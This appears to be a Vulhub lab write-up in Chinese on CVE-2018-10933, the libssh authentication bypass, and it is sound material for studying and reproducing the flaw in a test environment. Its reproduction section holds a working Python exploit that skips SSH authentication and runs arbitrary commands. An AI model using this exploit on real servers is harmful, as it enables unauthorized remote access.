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88 lines
2.3 KiB
Markdown
88 lines
2.3 KiB
Markdown
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# Libssh 服务端权限认证绕过漏洞 CVE-2018-10933
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## 漏洞描述
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libssh是一个提供ssh相关接口的开源库，包含服务端、客户端等。其服务端代码中存在一处逻辑错误，攻击者可以在认证成功前发送`MSG_USERAUTH_SUCCESS`消息，绕过认证过程，未授权访问目标SSH服务器。
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参考资料：
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- https://www.libssh.org/security/advisories/CVE-2018-10933.txt
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- https://www.seebug.org/vuldb/ssvid-97614
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## 环境搭建
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Vulhub执行如下命令启动存在漏洞的环境：
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```
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docker-compose up -d
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```
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环境启动后，我们可以连接`your-ip:2222`端口（账号密码：`myuser:mypassword`），这是一个合法的ssh流程：
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```
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ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 myuser@127.0.0.1
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```
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## 漏洞复现
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参考 https://www.seebug.org/vuldb/ssvid-97614 中给出的POC，我们编写一个简单的漏洞复现脚本：
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```python
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#!/usr/bin/env python3
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import sys
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import paramiko
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import socket
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import logging
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logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
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bufsize = 2048
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def execute(hostname, port, command):
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sock = socket.socket()
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try:
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sock.connect((hostname, int(port)))
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message = paramiko.message.Message()
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transport = paramiko.transport.Transport(sock)
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transport.start_client()
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message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
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transport._send_message(message)
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client = transport.open_session(timeout=10)
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client.exec_command(command)
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# stdin = client.makefile("wb", bufsize)
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stdout = client.makefile("rb", bufsize)
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stderr = client.makefile_stderr("rb", bufsize)
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output = stdout.read()
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error = stderr.read()
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stdout.close()
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stderr.close()
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return (output+error).decode()
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except paramiko.SSHException as e:
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logging.exception(e)
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logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
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except socket.error:
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logging.debug("Unable to connect.")
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return None
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if __name__ == '__main__':
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print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))
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```
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```python
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python CVE-2018-10933.py 127.0.0.1 2222 "ps aux"
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```
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